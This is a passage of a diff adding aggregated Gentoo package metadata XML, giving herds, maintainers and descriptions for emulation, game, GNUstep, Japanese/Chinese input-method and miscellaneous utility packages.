+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Point2Play, a new intuitive user interface, debuts with this release to help novice users 
+easily deal with configuration issues and experienced users gain greater system control. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/vmware-workstation">
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<maintainer>
+  <email>vapier@gentoo.org</email>
+  <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+VMWare Workstation is a virtual machine which can be used to install other operating systems in a virtual environment to run on top of Gentoo.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/win4lin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>bass@gentoo.org</email>
+  <name>Jos&#xE9; Alberto Su&#xE1;rez L&#xF3;pez</name>
+</maintainer>
+<longdescription>
+The NeTraverse product suite delivers the fastest and most cost-effective, resource-efficient, high-performance solution for running Windows applications on Linux.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/wine">
+<herd>wine</herd>
+<longdescription>
+This package allows you to run many winodws applications in your *nix environment. It can be used either with your existing Windows instalation or without it.
+</longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/winesetuptk">
+<herd>wine</herd>
+<longdescription>
+This tool allows you to easily configure wine using nice graphical user interface.
+</longdescription> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/winex-cvs">
+<herd>wine</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-emulation/winex-transgaming">
+<herd>wine</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/americas-army">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+America's Army is a first-person 3-D shooter designed and coded by the US Army to provide a realistic simulation of actual combat for US Army forces.  The game is designed to provide provide civilians with insights on soldiering and to raise awareness about the US Army.  The game was ported to Linux by Ryan &quot;icculus&quot; Gordon under contract from the US Army and is free to anyone.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/armagetron">
+<herd>games</herd>
+<maintainer>
+  <email>luke-jr@gentoo.org</email>
+  <name>Luke-Jr</name>
+</maintainer>
+<longdescription>ArmageTRON is a 3D light cycle game featuring the ability to play against others online</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/ascii-invaders">
+<herd>no-herd</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+</maintainer>
+<longdescription>
+Ascii-Invaders is a clone of Space Invaders for text-terminals using the curses library. It compiles and runs on MacOS X, GNU/Linux and probably any other system with a curses implementation.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/descent3">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Descent 3 is a first-person 3-D action flight-sim which takes place in both indoor and outdoor arenas.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/enemy-territory">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Enemy Territory is a first-person 3-D shooter based loosely on the original Wolfenstein series by id software.  The game takes place in North Africa and Europe during World War II and allows you to play as either the Axis or the Allies.  There are several classes of characters you can play, each with their own special abilities and weapon choices.  You can also gain proficiency in your specialties and increase your abilities by performing your class's specialized duties, which helps promote teamwork.  Enemy Territory was originally to be a single and milti-player add-on for Return to Castle Wofenstein, but John Carmack and company were not happy with the progress they had made on it, so instead, they released it as a multi-player stand-alone game.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/fakk2">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Heavy Metal: F.A.K.K.2 is a third-person 3-D action game based on characters from the Heavy Metal comics and movies.  Years have passed since Julie Strain (a.k.a. F.A.K.K.2) defeated the would-be God Lord Tyler on the bloody battlefields of the Holy Land. She has long since put the pain of those days behind her and brought her homeworld of Eden to a perfect natural balance. But far away in the deepest nebulas of space, the greatest evil of all stirs, ready to make its final move -- to take control of the entire universe. A lone beacon hurtles toward Eden, hoping to summon the god-slayer F.A.K.K.2 one last time. It bears nothing more than an onimous warning: &quot;GITH IS COMING.&quot;  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/gtetrinet">
+<herd>games</herd>
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/heavygear2">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Heavy Gear II is a first-person 3-D combat shooter based on the Dream Pod 9 role playing system where you pit squads of your best mechanized warriors against the enemy to save Terra Nova, but sheer firepower won't be enough. You must use your guile and wits to get behind enemy lines and use your resources to their fullest, before it's too late.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  Heavy Gear II was the first Linux game to be ported from Direct3D, have joystick support via SDL, and use OpenAL for 3D sound.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/quake3">
+<herd>games</herd>
+<maintainer>
+  <email>games@gentoo.org</email>
+</maintainer>
+<longdescription>
+Quake III Arena is the third installment of the extremely popular and successful Quake series by id software.  The game was released by id software for both Windows and Linux.  The Linux version of the game was maintained and sold by the now defunct Loki Entertainment.  The powerful Quake III engine is the basis for many other commercial games, as id's major source of revenue is licensing their game engines.  The engine allows for user-contributed modifications to be made, allowing the game to be extensible and expandable.  This game is commercial software, and requires the data from a retail copy of the game to play.  If you're interested in checking out the technology behind Quake III, then &quot;emerge quake3-demo&quot; to get the playable demo.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/rtcw">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Return to Castle Wolfenstein is a first-person 3-D shooter based loosely on the original Wolfenstein series by id software.  The game takes place in Europe during World War II.  In the single player game, you play as a US military special operative sent behind enemy lines to stop the Nazi studies into the supernatural and the occult.  The multi-player game is a team-based, goal-oriented series of missions and allows you to play as either the Axis or the Allies.  There are several classes of characters you can play, each with their own special abilities and weapon choices.  The port to Linux was done by TTimo of id software and is an unsupported binary release.  This game is commercial software and requires data from the retail Windows version to play.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/soldieroffortune">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Soldier of Fortune is a first-person 3-D shooter based on the mercenary trade.  You play as John, an ex-military mercinary who still has plenty of good friends on the inside.  For a wad of bucks, you'll do the job -- no cares, no worries. Just get the gun, play for keeps, get paid, on to the next one -- that's your life. That's what you do. And you're good at it, one of the best even. But now is the time for your biggest challenge ever.  The game was ported to Linux by the now defunct Loki Entertainment and is commercial software.  You can still pick up a copy from Tuxgames (http://www.tuxgames.com), but supplies are limited, as the publisher is no longer in business.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-games/ut2003">
+<herd>games</herd>
+<maintainer>
+  <email>wolf31o2@gentoo.org</email>
+  <name>Chris Gianelloni</name>
+</maintainer>
+<longdescription>
+Unreal Tounament 2003 is a first-person 3-D shooter and sequel to the 1999 Game of the Year, Unreal Tournament.  The game was ported to Linux by Ryan &quot;icculus&quot; Gordon under contract from Epic Games and the Linux installer was released in the retail box.  This game is commercial software and requires data from the original retail discs to play.  If you're interested in checking out the technology behind Unreal Tournament 2003, you can &quot;emerge ut2003-demo&quot; to get the playable demo.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/affiche">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/easydiff">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/gnumail">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/gorm">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/gridlock">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/gworkspace">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/helpviewer">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/imageviewer">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/jigs">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/pantomime">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/projectcenter">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/renaissance">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/talksoup">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-gnustep/terminal">
+<herd>gnustep</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/anthy-ss">
+<herd>cjk</herd>
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+  <description>I created the ebuild to test app-i18n/uim but I'm not a
+  full Anthy user at the moment, so I'd like someone to help testing
+  and managing these ebuilds.
+  </description>
+</maintainer>
+<longdescription>
+Anthy is a free and secure Japanese kana-kanji server.  This ebuild
+includes cannadic as a server-side dictionary, so you don't need any
+extra package to run it.  You can use anthy with app-i18n/jmode (XIM),
+app-i18n/uim(XIM, GTK+ immodule) and emacs (to enable Anthy support
+for emacs, build this package with emacs USE flag).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/anthy">
+<herd>cjk</herd>
+<herd>emacs</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+Anthy is a free and secure Japanese kana-kanji server.  This ebuild
+includes cannadic as a server-side dictionary, so you don't need any
+extra package to run it.  You can use anthy with app-i18n/jmode (XIM),
+app-i18n/uim(XIM, GTK+ immodule) and emacs (to enable Anthy support
+for emacs, build this package with emacs USE flag).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/bidiv">
+    <herd>middle-east</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/canna">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/chinput">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/dbskkd-cdb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/fbiterm">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/fcitx">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/freewnn">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/iiimcf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/iiimgcf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/iiimsf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/iiimxcf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/im-ja">
+<herd>cjk</herd>
+<maintainer>
+  <email>yakina@gentoo.org</email>
+  <name>YAMAKURA Makoto</name>
+</maintainer>
+<longdescription>
+IM-JA is a Japanese input module for GTK+2. It supports kanji
+conversion using either the Canna or the (Free)Wnn kanji conversion
+engine. IM-JA can also do kanji character recognition, you can draw
+kanji into a widget using the mouse. This feature is based on the
+KanjiPad application which has been enhanced in IM-JA.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/im-sdk">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/imhangul">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/imhangul_status_applet">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/jfbterm">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+JFBTERM/ME takes advantages of framebuffer device that is supported
+since linux kernel 2.2.x (at least on ix86 architecture) and make it
+enable to display multilingual text on console. Is is developed on
+ix86 architecture, and it will works on other architectures such as
+linux/ppc.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/jless-iso254">
+<herd>cjk</herd>
+<longdescription>
+Quote from Jam less homepage (http://www.io.com/~kazushi/less/):
+&quot;Less is one of the best text viewer. It is a successor of more. It
+allows you to scroll forward, scroll backward, search, etc through
+multiple text files.
+
+However, it doesn't support multi bytes characters. So, I made a patch
+to enhance it in order to view texts with multi character sets using
+using ISO 2022 code extention techniques. And I also support some code
+conversion among Japanese encoding schemes, JIS X 0208, JIS X 0213,
+SJIS, and UJIS.&quot;
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/jmcce">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/jmode">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/kakasi">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/kanjipad">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/kcc">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/kinput2">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/koffice-i18n">
+<herd>kde-other</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/kon2">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/leif">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/libjconv">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/libtabe">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/manpages-ja">
+<herd>cjk</herd>
+<maintainer>
+  <email>gentoojp-docs@ml.gentoo.gr.jp</email>
+  <name>GentooJP Documentation Team</name>
+  <description>Japanese translation of portage/gentoolkit manpages are
+  contributed by Gentoo Linux User Group Japan and maintained by that
+  mailing list. All questions and comments should be posted to that
+  list with regard to manpages translation for portage/gentoolkit.
+  </description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/minichinput">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/multiskkserv">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/nkf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/prime">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/qkc">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/rskkserv">
+<herd>cjk</herd>
+<herd>ruby</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/scim-chinese">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/scim-tables">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/scim">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/skk-jisyo-cdb">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/skk-jisyo-extra">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/skk-jisyo">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/skkinput">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/skkserv">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/uim">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+uim is a simple, secure and flexible input method library.  At the
+moment Anthy, SKK, Prime, T-code, TUT-code (these are Japanese input
+method), Pinyin (Chinese input method), Hangul (Korean input method),
+IPA (International Phonetic Alphabet) are implemented.  You can extend
+the library with Scheme thus easily, or with C if it becomes rather
+complicated.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/unicon">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/xcin">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-i18n/xsim">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/astrolog-ephemeris">
+<herd>sci</herd>
+
+<maintainer>
+	<email>george@gentoo.org</email>
+	<name>George Shapovalov</name>
+	<description>
+		I'll be taking care of it. But since we need to have a herd in metadata
+		I've put sci there, as it seems the most related one.
+	</description>
+</maintainer>
+
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/astrolog">
+<herd>sci</herd>
+
+<maintainer>
+	<email>george@gentoo.org</email>
+	<name>George Shapovalov</name>
+	<description>I'll be taking care of it. But since we need to have a herd in metadata
+	I've put sci there, as it seems the most related one.
+	</description>
+</maintainer>
+
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/bins">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/bookcase">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/celestia">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/ckermit">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/color">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Color is a nifty little utility that you can call from shell scripts, that will let you easily use ANSI escape codes (for colors, bold, underline, etc) to your shell scripts without having to memorize escape sequences and type it every time you want a little red...
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/colordiff">
+<herd>no-herd</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/dfm">
+<herd>no-herd</herd>
+<maintainer>
+<email>avenj@gentoo.org</email>
+<name>Jon Portnoy</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/discomatic">
+<herd>noherd</herd>
+<maintainer>
+    <email>port001@gentoo.org</email>
+    <name>Ian Leitch</name>
+</maintainer>
+<longdescription>
+    GTK+ CD-ROM archiving tool for mastering and burning multiple CD-ROM
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/dnetc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/evidence">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+ <longdescription>
+Evidence - file-manager
+* Sports different views so whatever you are doing, you'll have the most 
+  intuitive grasp on your files:
+    o icon-view (efm-like and fully themable)
+    o browser-view -- perfect for those MP3/Ogg directories!
+        Do you ever get fed up going down two levels (from music to artist to 
+        album) for each song you want to add to a playlist, then going back to 
+        music for the next song? Then this is for you.
+    o tree-view
+* Also features a &quot;micro-shell&quot; (a la efm-&quot;typebuffer&quot;) for 
+  keyboard-afficionados
+    o Selected a group of unlikely-named files in the GUI, then apply a 
+      shell-command to them!
+    o Pick some files and paste that (primary) selection into your 
+      favourite shell or editor!
+* May be built against enlightenment 17 libraries for state-of-the-art eye-candy 
+  and pluggable themes.
+    o Compose icons out of any number of evas objects such as images or 
+      gradients, with on-the-fly tinting/shading and alpha composition.
+    o Use jpg, png, or ebg.edb (e17 background database made with ebony, 
+      optionally composed on top of pseudo-transparency) as a backdrop
+    o Plugins are determined by a theme-file. Support for features not used 
+      by a given theme (e.g. pseudo-transparency) need not be loaded. Make themes 
+      as outlandish eye-candy as they get, or save loads of memory if you don't! 
+      No bloat!
+    o Plugins can be built/added at a later date without having to rebuild 
+      the main application.
+
+* Supports plugins for custom Meta-Data such as MP3/Ogg song titles, picture 
+  dimensions, and more.
+    o Comes with example plugins for Ogg/Vorbis, MP3, and images, turning 
+      evidence into a MP3/ID3/Vorbis tag editor right out of the box.
+    o Plugins for your own file-types are easily written.
+    o Plugins are loaded on-demand. For example, the MP3 plugin will not be 
+      loaded until you access the first MP3 file. It will also be unloaded if 
+      haven't touched a MP3-file in a while. No bloat.
+    o Plugins can be built/added at a later date without having to rebuild 
+      the main application.
+
+* Pluggable backends. If you want to go above and beyond UNIX/POSIX file-ops, 
+  use an alternate backend supporting efsd (the enlightened file-system daemon), 
+  GNOME-VFS or kioslaves (forthcoming).
+    o Default &quot;POSIX&quot; backend supports Access Control Lists and Extended 
+      Attributes.
+    o Plugins can be built/added at a later date without having to rebuild 
+      the main application.
+ </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/examine">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Examine is a configuration library for applications based on the Enlightenment 
+Foundation Libraries (EFL).
+Using examine an application can register a property (key-&gt;value), modify or 
+read a property, load and save these values to edb databases and listen to 
+changes in the value.
+The API for examine has been kept as simple as possible to allow programs to 
+easily access configuration information, but also to expand the given 
+structures to include application specific data.
+Included with examine are two applications, examiner (still to come) and exsh.
+These applications connect to the configuration library and allow the user to 
+alter configurations.
+The configurations are stored in edb format and can either be read from the 
+default ~/.e/appname/config.db location, or from a specified file elsewhere.
+
+More complex applications can make use of &quot;bundles&quot; (sets of properties) so 
+that each window or view can use a different set of properties.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/gallery">
+<herd>web-apps</herd>
+<maintainer>
+<email>web-apps@gentoo.org</email>
+<name>Gentoo Web Application Packages Maintainers</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/gentoo">
+<herd>desktop-misc</herd>
+<maintainer>
+	<email>seemant@gentoo.org</email>
+	<name>Seemant Kulleen</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/gfontview">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/glabels">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/gramps">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/i810switch">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/kdirstat">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/krename">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/krusader">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/ksensors">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/magicdev">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/mencal">
+<herd>no-herd</herd>
+<maintainer>
+	<email>brainstorm@menta.net</email>
+	<name>Roman Valls</name>
+	<description>Indirectly maintaining through seemant@gentoo.org</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/mepl">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/mtail">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+mtail is a small tail workalike that performs output coloring using ansi escape sequences (although the sequences are overridable, so you could cause it to output something else, e.g. html font tags, if you really wanted to). mtail is written in python, is fairly small, and should be relatively platform-independent.
+
+it has a config file that can contain an arbitrary number of entries, each of which has a series of regular expressions to indicate which files to color according to which entry. for each entry, the config file specifies a coloring scheme using regular expressions and, optionally, filters to apply to each line before coloring (for example, to strip out extra info, etc.). the config file also may override the predefined colors and the escape sequences (or whatever) actually used to perform the coloring. for details see the sample config file.
+
+mtail was inspired primarily by my dissatisfaction with colortail, which was written in c++, but i have since seen several other similar utilities, mostly in python, most notably generic colouriser and pctail. i believe that mtail offers various advantages over each of these other tools, including ease of configurability, lack of odd command-line options, and overall simplicity.
+
+for further information, see the README.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/mtoolsfm">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/nomad-tool">
+<herd>sound</herd>
+
+<maintainer>
+	<email>george@gentoo.org</email>
+	<name>George Shapovalov</name>
+	<description>
+		Looks like I am the only dev with this player, so I guess I'll have to take care of 
+		this package. Besides I also reated a minimalistic gui for the tool :).
+	</description>
+</maintainer>
+
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/pal">
+<herd>noherd</herd>
+<maintainer>
+    <email>port001@gentoo.org</email>
+    <name>Ian Leitch</name>
+</maintainer>
+<longdescription>
+    pal is a command-line calendar program for Unix/Linux systems that can keep track of events. It has similarities with the Unix cal command, the more complex GNU gcal program and the calendar program distributed with the BSDs.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/pax-utils">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>solar@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription>Various PaX related utils for ELF32, ELF64 binaries</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/regex-markup">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/ringtonetools">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>strider@gentoo.org</email>
+    <name>Adrian Almenar</name>
+    <description>Maintainer</description>
+  </maintainer>
+  <longdescription>(Description from the main homepage, made from the author)
+  Ringtone Tools is a program for creating ringtones and logos for mobile phones. This program has been tested by me on Nokia and Kyocera phones (including the Kyocera 6035 PDA Smartphone). I have support for Ericsson, Sony/Ericsson, EMS, Motorola, Siemens, Samsung, Handspring Treo phones, but I have no way to currently test it. I plan on adding support for other phones as soon as I get sponsors and testers. 
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/rox-session">
+<herd>no-herd</herd>
+<longdescription>ROX-Session is a really simple session manager. It loads, runs any programs you asked it to, and then quits when you run it a second time (thus ending your session). It does not display any windows until you ask it to quit.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/rpc">
+<herd>no-herd</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/run-mailcap">
+<herd>no-herd</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/sl">
+<maintainer>
+    <email>usata@gentoo.org</email>
+    <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+SL is an extremely sophisticated type remediation program at which you
+will be astonished.  The original program has experienced gradual
+modifications and enhancements so that one can never think of better
+software than SL.  Feel free to send me a patch to improve the
+software ;-)
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/symlinks">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Symlinks scans directories for symbolic links and lists them on stdout. Each link is prefixed with a classification of relative, absolute, dangling, messy, lengthy or other_fs.
+
+Symlinks can also convert absolute links (within the same filesystem) to relative links and can delete messy and dangling links. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/tdl">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
